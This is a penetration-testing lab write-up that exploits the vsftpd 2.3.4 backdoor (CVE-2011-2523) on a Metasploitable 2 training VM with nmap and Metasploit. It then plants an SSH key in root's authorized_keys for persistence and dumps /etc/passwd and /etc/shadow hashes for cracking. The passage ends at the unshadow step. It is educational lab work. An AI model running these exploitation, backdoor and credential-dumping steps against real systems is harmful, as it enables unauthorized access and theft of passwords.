

Metasploitable 2: vsftpd 2.3.4

Exploitation Lab

Executive Summary

A security assessment was conducted on a Linux-based target (Metasploitable 2) to identify and exploit critical vulnerabilities. The assessment successfully identified a critical backdoor vulnerability (CVE-2011-2523) in the vsftpd 2.3.4 service.

Key Findings:

- **Total System Compromise:** An exploit targeting port 21 (FTP) allowed for unauthenticated remote code execution (RCE) with immediate root-level privileges.
- **Persistent Access:** Multiple backdoors were successfully established, including SSH key injection and system-level configuration changes, ensuring long-term access even after service reboots.
- **Credential Exposure:** Sensitive system files (/etc/shadow) were exfiltrated, and multiple user passwords were successfully cracked using automated brute-force techniques.

Critical Risk: The presence of a critical, publicly known backdoor allows any remote attacker to gain complete control over the server, its data, and the surrounding network. Immediate remediation is required to prevent unauthorized access.

Phase 1: Reconnaissance & Enumeration

My first step was to do **ifconfig** to understand my network. I am at **192.168.56.x** network and my IP Address is **192.168.56.102**

```

(kali@kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.56.102 netmask 255.255.255.0 broadcast 192.168.56.255
    inet6 fe80::3f66:c440:de5a:620b prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:1f:b7:23 txqueuelen 1000 (Ethernet)
    RX packets 66582 bytes 4118228 (3.9 MiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 68004 bytes 4135254 (3.9 MiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 67904 bytes 4074240 (3.8 MiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 67904 bytes 4074240 (3.8 MiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

```

I did my research on Metasploitable 2 and saw that it has a famous backdoor **port 21 vsftpd 2.3.4** so if I find this service running I already know how to break it.

We can then nmap subnet scan my network in order to find the ip address of our target (Metasploitable 2)

nmap -sn 192.168.56.0/24

```

(kali@kali)-[~]
$ nmap -sn 192.168.56.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-21 06:27 EST
Nmap scan report for 192.168.56.1
Host is up (0.00016s latency).
MAC Address: 0A:00:27:00:00:06 (Unknown)
Nmap scan report for 192.168.56.100
Host is up (0.00016s latency).
MAC Address: 08:00:27:28:2F:E1 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.101
Host is up (0.00017s latency).
MAC Address: 08:00:27:B5:79:10 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.102
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 27.81 seconds

```

There are 4 IP Addresses

192.168.56.1 - The Gateway (My Host PC). This is the adapter allowing my VM to talk to my physical computer.

192.168.56.100 - The DHCP Server. VirtualBox uses .100 by default to hand out IP addresses to my VMs. This is infrastructure, **not a target**.

192.168.56.101 - TARGET (Metasploitable 2). This is the first IP leased to a guest machine.

192.168.56.102 - ME (Kali Linux VM)

To confirm this, we can do **ifconfig** to see my IP Address (**192.168.56.102**)

```
(kali㉿kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.56.102 netmask 255.255.255.0 broadcast 192.168.56.255
    inet6 fe80::3f66:c440:de5a:620b prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:1f:b7:23 txqueuelen 1000 (Ethernet)
    RX packets 66568 bytes 4116160 (3.9 MiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 67991 bytes 4134178 (3.9 MiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 62040 bytes 3722400 (3.5 MiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 62040 bytes 3722400 (3.5 MiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

To make the scanning faster we can scan **only port 21** to check if its open in **192.168.56.100**

```
(kali㉿kali)-[~]
$ nmap -sV -p 21 192.168.56.100
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-21 06:34 EST
Nmap scan report for 192.168.56.100
Host is up (0.00011s latency).

PORT      STATE SERVICE VERSION
21/tcp    closed ftp
MAC Address: 08:00:27:28:2F:E1 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.29 seconds
```

And we confirmed here that it really is the **DHCP Server** because **port 21 is close** so it's not the Metasploitable 2 target.

We can run another scan but this time for **192.168.56.101**.

```

(kali㉿kali)-[~]
$ nmap -sV -p 21 192.168.56.101
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-21 06:36 EST
Stats: 0:00:01 elapsed; 0 hosts completed (0 up), 1 undergoing ARP Ping Scan
Parallel DNS resolution of 1 host. Timing: About 0.00% done
Nmap scan report for 192.168.56.101
Host is up (0.00019s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
MAC Address: 08:00:27:B5:79:10 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.36 seconds

```

We confirmed that **port 21 is open** in the IP Address **192.168.56.101** which confirms that this is our **TARGET**.

Next is to **verify the target is alive** and map out the attack surface.

I used an Nmap ping scan to confirm the target is online without sending packets to specific ports yet.

nmap -sn 192.168.56.101 (Target IP)

```

(kali㉿kali)-[~]
$ nmap -sn 192.168.56.101
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-21 05:27 EST
Nmap scan report for 192.168.56.101
Host is up (0.00016s latency).
MAC Address: 08:00:27:B5:79:10 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 13.10 seconds

```

Once confirmed, I ran a comprehensive scan to identify running services and their specific versions.

nmap -sS -sV -p- 192.168.56.101

```

(kali㉿kali)-[~]
$ nmap -sS -sV -p- 192.168.56.101
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-21 05:28 EST
Stats: 0:01:03 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 96.67% done; ETC: 05:29 (0:00:02 remaining)
Stats: 0:02:00 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 96.67% done; ETC: 05:30 (0:00:04 remaining)
Nmap scan report for 192.168.56.101
Host is up (0.000078s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login        OpenBSD or Solaris rlogind
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
3632/tcp  open  distccd      distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
6697/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
8787/tcp  open  drb          Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drbb)
38871/tcp open  mountd       1-3 (RPC #100005)
46747/tcp open  status       1 (RPC #100024)
49647/tcp open  java-rmi     GNU Classpath grmiregistry
56962/tcp open  nlockmgr     1-4 (RPC #100021)
MAC Address: 08:00:27:B5:79:10 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 140.77 seconds

```

-sS: Stealth SYN scan (half-open scan).

-sV: Version detection (crucial for finding specific vulnerabilities).

-p-: Scanned all 65,535 ports to ensure nothing was missed.

Result: The scan revealed **Port 21** was open and running vsftpd 2.3.4 which is what I also saw in my research.

Phase 2: Vulnerability Assessment

I targeted this port and service due to a very specific, critical, and easily exploitable backdoor vulnerability (**CVE-2011-2523**). It has a CVSS score of 9.8 which is extremely severe for the target as it can lead to full compromise of affected systems.

I used **searchsploit** to check the local exploit database for known issues with vsftpd.

```
(kali㉿kali)-[~]  
$ searchsploit vsftpd 2.3.4
```

Exploit Title	Path
vsftpd 2.3.4 - Backdoor Command Execution	unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)	unix/remote/17491.rb

```
Shellcodes: No Results
```

I confirmed that it has metasploit exploit (vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) unix/remote/17491.rb)

I launched Metasploit (**msfconsole**) to find a usable exploit module.

```
(kali㉿kali)-[~]  
$ msfconsole  
Metasploit tip: Open an interactive Ruby terminal with irb  
  
Metasploit Park, System Security Interface  
Version 4.0.5, Alpha E  
Ready ...  
> access security  
access: PERMISSION DENIED.  
> access security grid  
access: PERMISSION DENIED.  
> access main security grid  
access: PERMISSION DENIED....and ...  
YOU DIDN'T SAY THE MAGIC WORD!  
YOU DIDN'T SAY THE MAGIC WORD!  
YOU DIDN'T SAY THE MAGIC WORD!  
YOU DIDN'T SAY THE MAGIC WORD!  
YOU DIDN'T SAY THE MAGIC WORD!  
YOU DIDN'T SAY THE MAGIC WORD!  
YOU DIDN'T SAY THE MAGIC WORD!  
  
=[ metasploit v6.4.101-dev ]  
+ -- --=[ 2,580 exploits - 1,316 auxiliary - 1,687 payloads ]  
+ -- --=[ 434 post - 49 encoders - 13 nops - 9 evasion ]  
  
Metasploit Documentation: https://docs.metasploit.com/  
The Metasploit Framework is a Rapid7 Open Source Project  
  
[*] Starting persistent handler(s) ...  
msf > search vsftpd 2.3.4
```

Msf > search vsftpd 2.3.4

```
msf > search vsftpd 2.3.4

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	No	VSFTPD v2.3.4 Backdoor Command Execution

```
Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor
```

There's only 1 result with the specific version of vsftpd which is the same exploit we saw in searchsploit

If we do it with **msf > search vsftpd** only it will show 2 results

```
msf > search vsftpd

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/dos/ftp/vsftpd_232	2011-02-03	normal	Yes	VSFTPD 2.3.2 Denial of Service
1	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	No	VSFTPD v2.3.4 Backdoor Command Execution

```
Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
```

We will still use the backdoor exploit because it is ranked excellent and it is a Remote Code Execution (RCE) which leads us to a full system compromise.

The other module is an auxiliary and a Denial of Service (DOS) which isn't fit for our objective of gaining persistent access or maintaining control over the target environment.

Phase 3: Exploitation

In this case we can type

msf > use 1

```
msf > use 1

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/dos/ftp/vsftpd_232	2011-02-03	normal	Yes	VSFTPD 2.3.2 Denial of Service
1	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	No	VSFTPD v2.3.4 Backdoor Command Execution

```
Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf > use 1
[*] Using configured payload cmd/unix/interact
```

It already has a default payload **cmd/unix/interact** but we can still check for other payloads by typing **show payloads**

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads

#  Name                Disclosure Date  Rank  Check  Description
-  -
0  payload/cmd/unix/interact .                normal No     Unix Command, Interact with Established Connection
```

In this case, there's only 1 payload so we can type **set payload 0** or not change it at all as it is already using the default payload.

In order to set up the exploit and payload, we first need to do **show options** to see the full requirements for the exploit and payload.

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  --      -
  CHOST      CHOST            no        The local client address
  CPORT      CPORT            no        The local client port
  Proxies    Proxies          no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks4, socks5, socks5h, http, sapni
  RHOSTS     RHOSTS           yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      RPORT            yes       The target port (TCP)

Exploit target:

  Id  Name
  --  -
  0   Automatic

View the full module info with the info, or info -d command.
```

In this case, **RHOSTS** and **RPORT** are required and **RHOSTS** is missing.

RHOSTS is the remote host or the **IP of our target** which is **192.168.56.101**

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.101
RHOSTS => 192.168.56.101
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.56.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.56.101:21 - USER: 331 Please specify the password.
[+] 192.168.56.101:21 - Backdoor service has been spawned, handling ...
[+] 192.168.56.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.56.102:38763 -> 192.168.56.101:6200) at 2025-12-21 05:34:33 -0500
[*] Exploit completed, but no session was created.
```

We can assign the correct setting by doing **set RHOSTS 192.168.56.101** and retaining the **RPORT** to **21** because it is already the correct port that we are targeting

We can then exploit it by typing **exploit** or **run** and we can expect to get a shell and a session.

It found a shell and a **command shell session 1** opened but we also encountered an error saying **Exploit completed, but no session was created**.

In order to verify and fix this we can manually check the sessions by doing **sessions ls**. This shows us the active sessions and their ID.

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > sessions ls
Active sessions

```

Id	Name	Type	Information	Connection
1		shell	cmd/unix	192.168.56.102:38763 → 192.168.56.101:6200 (192.168.56.101)

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > sessions -i 1
[*] Starting interaction with 1...
```

We can do **sessions -i 1** to interact with session 1 and open the shell.

Once inside the session, we need to check and verify our privilege level

```
whoami
root
id
uid=0(root) gid=0(root)
^Z
Background session 1? [y/N] y
msf exploit(unix/ftp/vsftpd_234_backdoor) >
```

We can use **whoami** and **id** and see that we are at root access level.

If we want to background our session we can do **Ctrl + Z** then type **y** to background our session and go back to our previous module. We can go back to a specific session by doing the **sessions ls** and **sessions -i (session ID)** to see the active sessions and their id and interact with it.

Phase 4: Post-Exploitation

In this phase, we already have a root shell so there is no need to do a privilege escalation in this scenario and we can move to securing our access by creating a backdoor. (Privilege Escalation will be shown later for learning purposes)

PERSISTENCE

We will create a permanent backdoor to maintain Root access even if the vulnerable `vsftpd` service is patched or the server reboots.

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > sessions -i 1
[*] Starting interaction with 1...

whoami
root
mkdir -p /root/.ssh
```

First we need to create a **new directory** inside our target using the root shell we got.

Using mkdir -p /root/.ssh

We will then **generate an ssh key** in another terminal using

ssh-keygen -t rsa -f ~/.ssh/backdoor_key

```
(kali㉿kali)-[~]
$ ssh-keygen -t rsa -f ~/.ssh/backdoor_key
Generating public/private rsa key pair.
Enter passphrase for "/home/kali/.ssh/backdoor_key" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kali/.ssh/backdoor_key
Your public key has been saved in /home/kali/.ssh/backdoor_key.pub
The key fingerprint is:
SHA256:GI/aH4oagirYovR0sALhcjIiug5+ziGx6KB2SsaD0a0 kali@kali
The key's randomart image is:
+--[RSA 3072]--+
|
|.      .
|.o .  =
|Ooo.. o S
|@=o.o
|X@E+ ... .
|#+0+o. o .
|X**=. . .
+--[SHA256]--+
```

ssh-keygen: Main tool used to create, manage, and convert authentication keys. It uses mathematical algorithms to create a **Key Pair (Public Key & Private Key)**

-t rsa: Type of algorithm to use in this case the Rivest–Shamir–Adleman (RSA). By default, it creates a 3072-bit or 2048-bit key, which is incredibly difficult to crack via brute force.

-f ~/.ssh/backdoor_key: For setting up the filename and directory

This will create **backdoor_key** as our **private key** and **backdoor_key.pub** as our **public key**.

It will prompt us to enter a passphrase we can just enter twice to leave it blank.

We can concatenate the **backdoor_key.pub** to see our public key

```
(kali㉿kali)-[~]
$ cat ~/.ssh/backdoor_key.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQGDu5OVhtGdAMs0eKq+f+E0zE88yYBT9YI9pYg+hXEhjXCkht5V4/c3hBiw0bFvKq7VgzR0ScmIs0aitNxxCpn4rfTLjSNycS8l59USv5+DRRFuL4hR+JtTnmsEQXavXYACPLl4EvhYFVJuJJmzrb30lK3+M5UgTiFsnimfqrLmLCejtpcZSFSjsHskE5VgK1PCaHFMfiu4HGQnQVOM1j2ANmSntzAcf+aNh4Hyg0H4OoeAcgXTpYM57IFLiP6MHRu8LPP8rksA0F48EceGTLTz9j531CnCJ16ApPZ3FYN1AxAM/uMGSJlGEWXB1GbxrvMXDsHiyOrXRlJi8lsTR8h458IvyN+ONPWvNGY9eJRAAujb0ItizmXMXEMTE+pv6M5/Rya1J4Tr67fCbamsFX0hpAzwu7Y9kuno/WHkGY0l7Hfiv7qRO8n4JqVZgsufBbjhCg+qWQ66bIWNHJEEperFLMF24Vec4rY9W6BHWJ616RBYcLMB/aFnfDZMIOiSxa6U= kali@kali
```

We will inject this key inside our target's machine by using **echo** to paste our public key into a file that we will create inside the **/.ssh/** path named **authorized_keys**

echo "ssh-rsa

```
AAAAB3NzaC1yc2EAAAADAQABAAQGDu5OVhtGdAMs0eKq+f+E0zE88yYBT9YI9pYg
+hXEhjXCkht5V4/c3hBiw0bFvKq7VgzR0ScmIs0aitNxxCpn4rfTLjSNycS8l59USv5+DRRFuL
4hR+JtTnmsEQXavXYACPLl4EvhYFVJuJJmzrb30lK3+M5UgTiFsnimfqrLmLCejtpcZSFSjs
HskE5VgK1PCaHFMfiu4HGQnQVOM1j2ANmSntzAcf+aNh4Hyg0H4OoeAcgXTpYM57IFLiP
6MHRu8LPP8rksA0F48EceGTLTz9j531CnCJ16ApPZ3FYN1AxAM/uMGSJlGEWXB1GbxrvM
XDShiyOrXRlJi8lsTR8h458IvyN+ONPWvNGY9eJRAAujb0ItizmXMXEMTE+pv6M5/Rya1J4T
r67fCbamsFX0hpAzwu7Y9kuno/WHkGY0l7Hfiv7qRO8n4JqVZgsufBbjhCg+qWQ66bIWNH
JEEperFLMF24Vec4rY9W6BHWJ616RBYcLMB/aFnfDZMIOiSxa6U= kali@kali" >>
/root/.ssh/authorized_keys
```

```
[*] Starting interaction with 1...

whoami
root
mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQGDu5OVhtGdAMs0eKq+f+E0zE88yYBT9YI9pYg+hXEhjXCkht5V4/c3hBiw0bFvKq7VgzR0ScmIs0aitNxxCpn4rfTLjSNycS8l59USv5+DRRFuL4hR+JtTnmsEQXavXYACPLl4EvhYFVJuJJmzrb30lK3+M5UgTiFsnimfqrLmLCejtpcZSFSjsHskE5VgK1PCaHFMfiu4HGQnQVOM1j2ANmSntzAcf+aNh4Hyg0H4OoeAcgXTpYM57IFLiP6MHRu8LPP8rksA0F48EceGTLTz9j531CnCJ16ApPZ3FYN1AxAM/uMGSJlGEWXB1GbxrvMXDsHiyOrXRlJi8lsTR8h458IvyN+ONPWvNGY9eJRAAujb0ItizmXMXEMTE+pv6M5/Rya1J4Tr67fCbamsFX0hpAzwu7Y9kuno/WHkGY0l7Hfiv7qRO8n4JqVZgsufBbjhCg+qWQ66bIWNHJEEperFLMF24Vec4rY9W6BHWJ616RBYcLMB/aFnfDZMIOiSxa6U= kali@kali" >> /root/.ssh/authorized_keys
```

In order to properly secure this, we can use this to change the file permissions and ownership

chmod 700 /root/.ssh - Modify the file permissions into RWX

chmod 600 /root/.ssh/authorized_keys - Modify the file permissions into RW-

chown -R root:root /root/.ssh (This makes it so that it can be only accessed by the root level. In our case this isn't needed because we are already in root but I used it for good practice as it can act as a safety net.)

```

[*] Starting interaction with 1...

whoami
root
mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQGDu50VhtGdAMs0eKq+f+E0zE88yYBT9YI9pYg+hXEhjXCkht5V4/c3hBiw0bFvKq7VgzR0Sc
mIs0aitNxxCpn4rfTLjSNycS8l59USv5+DRRFuL4hR+JtTnmsEQXavXYACPLl4EvhyFVJujJmzrb30lK3+M5UgTiFsnimfqrLmLcejtpcZSFSjsHskE
5VgK1PCaHFMfiu4HGQnQVOM1j2ANmSntzAcf+aNh4Hyg0H4OoeAcgXTpYM57IFLiP6MHRu8LPP8rksA0F48EceGTLTZ9j531CnCJ16ApPZ3FYN1AxAM
/uMGSJlGEWXB1GbxrvMXDsHiyOrXRLji8lsTR8h458IvyN+ONPWvNGY9eJRAAujb0ItizmXMXEMTE+pv6M5/Rya1J4Tr67fCbamsFX0hpAzwu7Y9kun
o/WHkGY0l7Hfiv7qR08n4JqVZgsufBbjhCg+qWQ66bIWNHJEEperFLMF24Vec4rY9W6BHWJ616RBYclMB/aFnFDZMI0iSxa6U= kali@kali" >> /r
oot/.ssh/authorized_keys
chmod 700 /root/.ssh
chmod 600 /root/.ssh/authorized_keys
chown -R root:root /root/.ssh

```

We can go back to our other terminal and then try to access it from there.

By using **ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa -i ~/.ssh/backdoor_key root@192.168.56.101** we can get a root shell from our terminal without doing the exploit all over again in metasploit.

It will ask us if we want to continue connecting and then type **yes**.

```

(kali@kali)-[~]
$ ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa -i ~/.ssh/backdoor_key root@192.168.56.101

The authenticity of host '192.168.56.101 (192.168.56.101)' can't be established.
RSA key fingerprint is: SHA256:BQHm5EoHX9GCiOLuVscegPXLQ0suPs+E9d/rrJB84rk
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.101' (RSA) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Last login: Sun Dec 21 08:03:36 2025 from :0.0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have new mail.
root@metasploitable:~# whoami
root
root@metasploitable:~# id
uid=0(root) gid=0(root) groups=0(root)
root@metasploitable:~#

```

We can verify if we are root by doing **whoami** and **id**.

To ensure our persistence, we can reboot it and wait 30-60 seconds for it to boot up again and try accessing it again to ensure that we can get a shell.

```

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have new mail.
root@metasploitable:~# reboot

Broadcast message from root@metasploitable
(/dev/pts/1) at 8:41 ...

The system is going down for reboot NOW!
root@metasploitable:~# Connection to 192.168.56.101 closed by remote host.
Connection to 192.168.56.101 closed.

(kali㉿kali)-[~]
$ ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa -i ~/.ssh/backdoor_key root@192.168.56.101

** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Last login: Sun Dec 21 08:42:10 2025 from :0.0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have new mail.
root@metasploitable:~# █

```

CREDENTIAL HARVESTING

In our root shell, we can do **cat /etc/passwd** to see all the usernames and user IDs. The **x** here is a placeholder for the hash of the password

```

msf exploit(unix/ftp/vsftpd_234_backdoor) > sessions -i 1
[*] Starting interaction with 1...

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534:::/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
backdoor:x:1003:1003::/home/backdoor:/bin/bash

```

Then we can do **cat /etc/shadow** to see the hash of the passwords

```

cat /etc/shadow
root:$1$avpf8J1$X0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$fUX6BP0t$MiyC3Up0zQJqz4s5wFD9l0:14742:0:99999:7:::
sync:*:14684:0:99999:7:::
games:*:14684:0:99999:7:::
man:*:14684:0:99999:7:::
lp:*:14684:0:99999:7:::
mail:*:14684:0:99999:7:::
news:*:14684:0:99999:7:::
uucp:*:14684:0:99999:7:::
proxy:*:14684:0:99999:7:::
www-data:*:14684:0:99999:7:::
backup:*:14684:0:99999:7:::
list:*:14684:0:99999:7:::
irc:*:14684:0:99999:7:::
gnats:*:14684:0:99999:7:::
nobody:*:14684:0:99999:7:::
libuuid:!:14684:0:99999:7:::
dhcp:*:14684:0:99999:7:::
syslog:*:14684:0:99999:7:::
klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:14742:0:99999:7:::
sshd:*:14684:0:99999:7:::
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::
bind:*:14685:0:99999:7:::
postfix:*:14685:0:99999:7:::
ftp:*:14685:0:99999:7:::
postgres:$1$Rw35ik.x$MgQgZUu05pAoUvfJhfcYe/:14685:0:99999:7:::
mysql:!:14685:0:99999:7:::
tomcat55:*:14691:0:99999:7:::
distccd:*:14698:0:99999:7:::
user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:14699:0:99999:7:::
service:$1$kR3ue7JZ$7GxELDupr50hp6cjZ3Bu//:14715:0:99999:7:::
telnetd:*:14715:0:99999:7:::
proftpd:!:14727:0:99999:7:::
statd:*:15474:0:99999:7:::
backdoor:!.b7PchEsXm/cM:20442:0:99999:7:::

```

In our linux terminal, we can create 2 txt files for passwd and shadow then paste the credentials that we got from concatenating the /etc/passwd and /etc/shadow files

```

(kali㉿kali)-[~]
└─$ nano passwd.txt

(kali㉿kali)-[~]
└─$ nano shadow.txt

(kali㉿kali)-[~]
└─$

```

We will then unshadow it and store it into unshadowed.txt

```

(kali㉿kali)-[~]
